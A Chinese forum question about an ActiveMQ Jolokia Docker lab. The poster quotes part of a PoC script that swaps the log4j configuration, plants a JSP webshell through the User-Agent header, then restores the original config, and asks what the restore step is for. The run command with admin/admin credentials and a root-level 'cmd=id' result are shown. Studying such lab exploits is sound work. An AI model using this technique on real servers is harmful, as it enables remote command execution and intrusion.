在学习这个docker靶场时,根据说明,第一种方法是
python poc.py -u -admin -p admin http://ip:8161
在学习poc内容时发现命令是通过exploit_log4j方法实现的
def exploit_log4j(self, mbean: str):
self.modify_config(mbean, evil_template)
logging.info(‘update log config’)
self.request(‘GET’, ‘/api/jolokia/version’, headers={
‘User-Agent’: f’Mozilla ||| {webshell} |||’
})
logging.info(‘write webshell to %s’, urljoin(self.url, ‘/admin/shell.jsp?cmd=id’))
self.modify_config(mbean, original_template)
logging.info(‘restore log config’)
第一步使用evil_template更新配置文件,生成了shell.jsp用于存储日志。
第二步使用self.request方法在User-Agent中插入恶意代码,系统当作日志自动写入shell.jsp日志文件
第三步使用original_template
original_template = r’’’<?xml version=”1.0” encoding=”UTF-8”?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%5p | %m%n"/>
</Console>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log"
filePattern="${sys:activemq.data}/activemq.log.%i">
<PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
<PatternLayout pattern="%-5p | %m | %t%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>
<Logger name="org.apache.activemq.spring" level="WARN"/>
<Logger name="org.apache.activemq.web.handler" level="WARN"/>
<Logger name="org.springframework" level="WARN"/>
<Logger name="org.apache.xbean" level="WARN"/>
<Logger name="org.eclipse.jetty" level="WARN"/>
<Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
<AppenderRef ref="AuditLog"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger
<Logger name="org.apache.activemq" level="DEBUG"/>
-->
</Loggers>
</Configuration>
‘’’
但是看了很久没有看明白这个步的作用是什么,于是直接在代码上将
self.modify_config(mbean, original_template)
注释了,然后修改evil_template中的日志文件名为shell88,重新生成
然后python poc.py -u -admin -p admin http://ip:8161
却发现访问http://ip:8161/admin/shell88?cmd=id
依然能够得到uid=0(root) gid=0(root) groups=0(root)的内容,
那到底第三步original_template restore log的作用到底什么呢?
emo
请各位大佬解惑
谢谢
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
小瑟斯
发表于 7个月前
问gpt
评论列表
加载数据中...